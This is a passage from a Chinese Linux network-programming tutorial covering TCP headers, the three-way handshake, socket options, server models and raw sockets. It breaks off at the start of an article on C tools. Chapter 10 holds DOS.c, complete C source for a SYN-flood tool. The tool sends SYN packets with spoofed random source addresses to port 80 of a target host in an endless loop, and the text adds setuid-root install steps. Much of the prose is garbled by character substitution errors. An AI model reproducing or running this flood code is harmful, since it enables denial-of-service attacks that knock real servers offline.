u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_prt;
};
source发送TCP数据的源端口
dest接受TCP数据的目的端口
seq标识该TCP所包含的数据字节的开始序列号
ack_seq确认序列号,表示接受方下一次接受的数据序列号.
doff数据首部长度.和IP协议同样,以4字节为单位.通常的时候为5
urg若是设置紧急数据指针,则该位为1
ack若是确认号正确,那么为1
psh若是设置为1,那么接收方收到数据后,当即交给上一层程序
rst为1的时候,表示请求从新链接
syn为1的时候,表示请求创建链接
fin为1的时候,表示亲戚关闭链接
window窗口,告诉接收者能够接收的大小
check对TCP数据进行较核
urg_ptr若是urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值
关于TCP协议的详细状况,请查看 RFC793
7.6 TCP链接的创建
TCP协议是一种可靠的链接,为了保证链接的可靠性,TCP的链接要分为几个步骤.咱们把这
个链接过程称为"三次握手".
下面咱们从一个实例来分析创建链接的过程.
第一步客户机向服务器发送一个TCP数据包,表示请求创建链接. 为此,客户端将数据包的
SYN位设置为1,而且设置序列号seq=1000(咱们假设为1000).
第二步服务器收到了数据包,并从SYN位为1知道这是一个创建请求的链接.因而服务器也
向客户端发送一个TCP数据包.由于是响应客户机的请求,因而服务器设置ACK为1,sak_se
q=1001(1000+1)同时设置本身的序列号.seq=2000(咱们假设为2000).
第三步客户机收到了服务器的TCP,并从ACK为1和ack_seq=1001知道是从服务器来的确认
信息.因而客户机也向服务器发送确认信息.客户机设置ACK=1,和ack_seq=2001,seq=100
1,发送给服务器.至此客户端完成链接.
最后一步服务器受到确认信息,也完成链接.
经过上面几个步骤,一个TCP链接就创建了.固然在创建过程当中可能出现错误,不过TCP协议
能够保证本身去处理错误的.
说一说其中的一种错误.
据说过DOS吗?(可不是操做系统啊).今年春节的时候,美国的五大网站一块儿受到攻击.攻
击者用的就是DOS(拒绝式服务)方式.归纳的说一下原理.
客户机先进行第一个步骤.服务器收到后,进行第二个步骤.按照正常的TCP链接,客户机
应该进行第三个步骤.
不过攻击者实际上并不进行第三个步骤.由于客户端在进行第一个步骤的时候,修改了自
己的IP地址,就是说将一个实际上不存在的IP填充在本身IP数据包的发送者的IP一栏.这
样由于服务器发的IP地址没有人接收,因此服务端会收不到第三个步骤的确认信号,这样
服务务端会在那边一直等待,直到超时.
这样当有大量的客户发出请求后,服务端会有大量等待,直到全部的资源被用光,而不能再
接收客户机的请求.
这样当正常的用户向服务器发出请求时,因为没有了资源而不能成功.因而就出现了春节
时所出现的状况.
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网络编程(8)

8. 套接字选项
有时候咱们要控制套接字的行为(如修改缓冲区的大小),这个时候咱们就要控制套接字的
选项了.
8.1 getsockopt和setsockopt
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optl
en)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t
*optlen)
level指定控制套接字的层次.能够取三种值: 1)SOL_SOCKET:通用套接字选项. 2)IPPRO
TO_IP:IP选项. 3)IPPROTO_TCP:TCP选项.
optname指定控制的方式(选项的名称),咱们下面详细解释
optval得到或者是设置套接字选项.根据选项名称的数据类型进行转换
选项名称说明数据类型
========================================================================
SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST 容许发送广播数据 int
SO_DEBUG 容许调试 int
SO_DONTROUTE 不查找路由 int
SO_ERROR 得到套接字错误 int
SO_KEEPALIVE 保持链接 int
SO_LINGER 延迟关闭链接 struct linge
r
SO_OOBINLINE 带外数据放入正常数据流 int
SO_RCVBUF 接收缓冲区大小 int
SO_SNDBUF 发送缓冲区大小 int
SO_RCVLOWAT 接收缓冲区下限 int
SO_SNDLOWAT 发送缓冲区下限 int
SO_RCVTIMEO 接收超时 struct timev
al
SO_SNDTIMEO 发送超时 struct timev
al
SO_REUSERADDR 容许重用本地地址和端口 int
SO_TYPE 得到套接字类型 int
SO_BSDCOMPAT 与BSD系统兼容 int
==========================================================================
IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL 在数据包中包含IP首部 int
IP_OPTINOS IP首部选项 int
IP_TOS 服务类型
IP_TTL 生存时间 int
==========================================================================
IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG TCP最大数据段的大小 int
TCP_NODELAY 不使用Nagle算法 int
=========================================================================
关于这些选项的详细状况请查看 Linux Programmer's Manual
8.2 ioctl
ioctl能够控制全部的文件描述符的状况,这里介绍一下控制套接字的选项.
int ioctl(int fd,int req,...)
==========================================================================
ioctl的控制选项
--------------------------------------------------------------------------
SIOCATMARK 是否到达带外标记 int
FIOASYNC 异步输入/输出标志 int
FIONREAD 缓冲区可读的字节数 int
==========================================================================
详细的选项请用 man ioctl_list 查看.
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网络编程(9)

9. 服务器模型
学习过《软件工程》吧.软件工程但是每个程序员"必修"的课程啊.若是你没有学习过
, 建议你去看一看. 在这一章里面,咱们一块儿来从软件工程的角度学习网络编程的思想.
在咱们写程序以前, 咱们都应该从软件工程的角度规划好咱们的软件,这样咱们开发软件
的效率才会高. 在网络程序里面,通常的来讲都是许多客户机对应一个服务器.为了处理
客户机的请求, 对服务端的程序就提出了特殊的要求.咱们学习一下目前最经常使用的服务器
模型.
循环服务器:循环服务器在同一个时刻只能够响应一个客户端的请求
并发服务器:并发服务器在同一个时刻能够响应多个客户端的请求
9.1 循环服务器:UDP服务器
UDP循环服务器的实现很是简单:UDP服务器每次从套接字上读取一个客户端的请求,处理
, 而后将结果返回给客户机.
能够用下面的算法来实现.
socket(...);
bind(...);
while(1)
{
recvfrom(...);
process(...);
sendto(...);
}
由于UDP是非面向链接的,没有一个客户端能够总是占住服务端. 只要处理过程不是死循
环, 服务器对于每个客户机的请求老是可以知足.
9.2 循环服务器:TCP服务器
TCP循环服务器的实现也不难:TCP服务器接受一个客户端的链接,而后处理,完成了这个客
户的全部请求后,断开链接.
算法以下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的全部请求都知足后,
服务器才能够继续后面的请求.这样若是有一个客户端占住服务器不放时,其它的客户机
都不能工做了.所以,TCP服务器通常不多用循环服务器模型的.
9.3 并发服务器:TCP服务器
为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是
每个客户机的请求并不禁服务器直接处理,而是服务器建立一个子进程来处理.
算法以下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
if(fork(..)==0)
{
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
exit(...);
}
close(...);
}
TCP并发服务器能够解决TCP循环服务器客户机独占服务器的状况. 不过也同时带来了一
个不小的问题.为了响应客户机的请求,服务器要建立子进程来处理. 而建立子进程是一
种很是消耗资源的操做.
9.4 并发服务器:多路复用I/O
为了解决建立子进程带来的系统资源消耗,人们又想出了多路复用I/O模型.
首先介绍一个函数select
int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
通常的来讲当咱们在向文件读写时,进程有可能在读写出阻塞,直到必定的条件知足. 比
如咱们从一个套接字读数据时,可能缓冲区里面没有数据可读(通讯的对方尚未发送数
据过来),这个时候咱们的读调用就会等待(阻塞)直到有数据可读.若是咱们不但愿阻塞
,咱们的一个选择是用select系统调用. 只要咱们设置好select的各个参数,那么当文件
能够读写的时候select回"通知"咱们说能够读写了. readfds全部要读的文件文件描述
符的集合
writefds全部要的写文件文件描述符的集合
exceptfds其余的服要向咱们通知的文件描述符
timeout超时设置.
nfds全部咱们监控的文件描述符中最大的那一个加1
在咱们调用select时进程会一直阻塞直到如下的一种状况发生. 1)有文件能够读.2)有文
件能够写.3)超时所设置的时间到.
为了设置文件描述符咱们要使用几个宏. FD_SET将fd加入到fdset
FD_CLR将fd从fdset里面清除
FD_ZERO从fdset中清除全部的文件描述符
FD_ISSET判断fd是否在fdset集合中
使用select的一个例子
int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;
maxfd=readfd[0];
for(i=1;i<n;i++)
if(readfd>;maxfd) maxfd=readfd;
while(1)
{
/* 将全部的文件描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;i<n;i++)
FD_SET(readfd,*my_readfd);
/* 进程阻塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/* 有东西能够读了 */
for(i=0;i<n;i++)
if(FD_ISSET(readfd,&my_readfd))
{
/* 原来是我能够读了 */
we_read(readfd);
}
}
}
使用select后咱们的服务器程序就变成了.
初始话(socket,bind,listen);
while(1)
{
设置监听读写文件描述符(FD_*);
调用select;
若是是倾听套接字就绪,说明一个新的链接请求创建
{
创建链接(accept);
加入到监听文件描述符中去;
}
不然说明是一个已经链接过的描述符
{
进行操做(read或者write);
}
}
多路复用I/O能够解决资源限制的问题.着模型其实是将UDP循环模型用在了TCP上面.
这也就带来了一些问题.如因为服务器依次处理客户的请求,因此可能会致使有的客户会
等待好久.
9.5 并发服务器:UDP服务器
人们把并发的概念用于UDP就获得了并发UDP服务器模型. 并发UDP服务器模型实际上是简单
的.和并发的TCP服务器模型同样是建立一个子进程来处理的算法和并发的TCP模型同样
..
除非服务器在处理客户端的请求所用的时间比较长之外,人们实际上不多用这种模型.
9.6 一个并发TCP服务器实例
#include <sys/socket.h>;
#include <sys/types.h>;
#include <netinet/in.h>;
#include <string.h>;
#include <errno.h>;
#define MY_PORT 8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in client_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Socket Error:%s/n/a",strerror(errno));
exit(1);
}
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 若是服务器终止后,服务器能够第二次快速启动而不用等待一段时间 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf("Bind Error:%s/n/a",strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf("Accept Error:%s/n/a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子进程处理客户端的链接 */
char buffer[1024];
close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf("Fork Error:%s/n/a",strerror(errno));
close(accept_fd);
}
}
你能够用咱们前面写客户端程序来调试着程序,或者是用来telnet调试
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网络编程(10)

10. 原始套接字
咱们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章
里面咱们一块儿来学习另一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,咱们可
以编写出由TCP和UDP套接字不可以实现的功能. 注意原始套接字只可以由有root权限的
人建立.
10.1 原始套接字的建立
int sockfd(AF_INET,SOCK_RAW,protocol)
能够建立一个原始套接字.根据协议的类型不一样咱们能够建立不一样类型的原始套接字比
如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的状况查看 <netinet/in.h>; 下
面咱们以一个实例来讲明原始套接字的建立和使用
10.2 一个原始套接字的实例
还记得DOS是什么意思吗?在这里咱们就一块儿来编写一个实现DOS的小程序. 下面是程序的
源代码
/******************** DOS.c *****************/
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <netinet/ip.h>;
#include <netinet/tcp.h>;
#include <stdlib.h>;
#include <errno.h>;
#include <unistd.h>;
#include <stdio.h>;
#include <netdb.h>;
#define DESTPORT 80 /* 要攻击的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname/n/a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s/n/a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->;h_addr_list[0]);
}
/**** 使用IPPROTO_TCP建立一个TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n/a",strerror(errno));
exit(1);
}
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由咱们本身来填写 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 没有办法,只用超级护用户才能够使用原始套接字 *********/
setuid(getpid());
/********* 发送炸弹了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 发送炸弹的实现 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用来放置咱们的数据包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 咱们的数据包实际上没有任何内容,因此长度就是两个结构的长度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
ip=(struct ip *)buffer;
ip->;ip_v=IPVERSION; /** 版本通常的是 4 **/
ip->;ip_hl=sizeof(struct ip)>;>;2; /** IP数据包的头部长度 **/
ip->;ip_tos=0; /** 服务类型 **/
ip->;ip_len=htons(head_len); /** IP数据包的长度 **/
ip->;ip_id=0; /** 让系统去填写吧 **/
ip->;ip_off=0; /** 和上面同样,省点时间 **/
ip->;ip_ttl=MAXTTL; /** 最长的时间 255 **/
ip->;ip_p=IPPROTO_TCP; /** 咱们要发的是 TCP包 **/
ip->;ip_sum=0; /** 校验和让系统去作 **/
ip->;ip_dst=addr->;sin_addr; /** 咱们攻击的对象 **/
/******* 开始填写TCP数据包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->;source=htons(LOCALPORT);
tcp->;dest=addr->;sin_port; /** 目的端口 **/
tcp->;seq=random();
tcp->;ack_seq=0;
tcp->;doff=5;
tcp->;syn=1; /** 我要创建链接 **/
tcp->;check=0;
/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
while(1)
{
/** 你不知道我是从那里来的,慢慢的去等吧! **/
ip->;ip_src.s_addr=random();
/** 什么都让系统作了,也没有多大的意思,仍是让咱们本身来校验头部吧 */
/** 下面这条无关紧要 */
tcp->;check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>;1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>;>;16)+(sum&0xffff);
sum+=(sum>;>;16);
answer=~sum;
return(answer);
}
编译一下,拿localhost作一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普
通用户能够运行这个程序,咱们应该将这个程序的全部者变为root,且设置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 总结
原始套接字和通常的套接字不一样的是之前许多由系统作的事情,如今要由咱们本身来作了
.. 不过这里面是否是有不少的乐趣呢. 当咱们建立了一个TCP套接字的时候,咱们只是负
责把咱们要发送的内容(buffer)传递给了系统. 系统在收到咱们的数据后,回自动的调用
相应的模块给数据加上TCP头部,而后加上IP头部. 再发送出去.而如今是咱们本身建立各
个的头部,系统只是把它们发送出去. 在上面的实例中,因为咱们要修改咱们的源IP地址
,因此咱们使用了setsockopt函数,若是咱们只是修改TCP数据,那么IP数据同样也能够由
系统来建立的.
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网络编程(11)

11. 后记
总算完成了网络编程这个教程.算起来我差很少写了一个星期,原来觉得写这个应该是
一件不难的事,作起来才知道原来有不少的地方都比我想象的要难.我还把不少的东西都
省略掉了不过写完了这篇教程之后,我好象对网络的认识又增长了一步.
若是咱们只是编写通常的网络程序仍是比较容易的,可是若是咱们想写出比较好的网
络程序咱们还有着遥远的路要走. 网络程序通常的来讲都是多进程加上多线程的.为了处
理好他们内部的关系,咱们还要学习进程之间的通讯.在网络程序里面有着许许多多的突
发事件,为此咱们还要去学习更高级的事件处理知识.如今的信息愈来愈多了,为了处理
好这些信息,咱们还要去学习数据库. 若是要编写出有用的黑客软件,咱们还要去熟悉各
种网络协议.总之咱们要学的东西还不少不少.
看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看咱们本身的
软件水平你们就会知道了什么叫作差距.咱们如今用的软件有几个是咱们中国人本身编
写的.
不过你们不要惧怕,不用担忧.只要咱们仍是清醒的,还可以认清咱们和别人的差距, 我
们就还有但愿. 毕竟咱们如今还年轻.只要咱们努力,认真的去学习,咱们必定可以学好的
..咱们就能够追上别人直到超过别人!
相信一点:
别人能够作到的咱们同样能够作到,并且能够比别人作的更好!
勇敢的年轻人,为了咱们伟大祖国的软件产业,为了祖国的将来,努力的去奋斗吧!祖国
会记住大家的!
hoyt
11.1 参考资料
<<实用UNIX编程>;>;---机械工业出版社.
<<Linux网络编程>;>;--清华大学出版社.

9)Linux下C开发工具介绍

Linux的发行版中包含了不少软件开发工具. 它们中的不少是用于 C 和 C++应用程序开发
的. 本文介绍了在 Linux 下能用于 C 应用程序开发和调试的工具. 本文的主旨是介绍如
何在 Linux 下使用 C 编译器和其余 C 编程工具, 而非 C 语言编程的教程.

GNU C 编译器
GNU C 编译器(GCC)是一个全功能的 ANSI C 兼容编译器. 若是你熟悉其余操做系统或硬
件平台上的一种 C 编译器, 你将能很快地掌握 GCC. 本节将介绍如何使用 GCC 和一些
GCC 编译器最经常使用的选项.

使用 GCC
一般后跟一些选项和文件名来使用 GCC 编译器. gcc 命令的基本用法以下:

gcc [options] [filenames]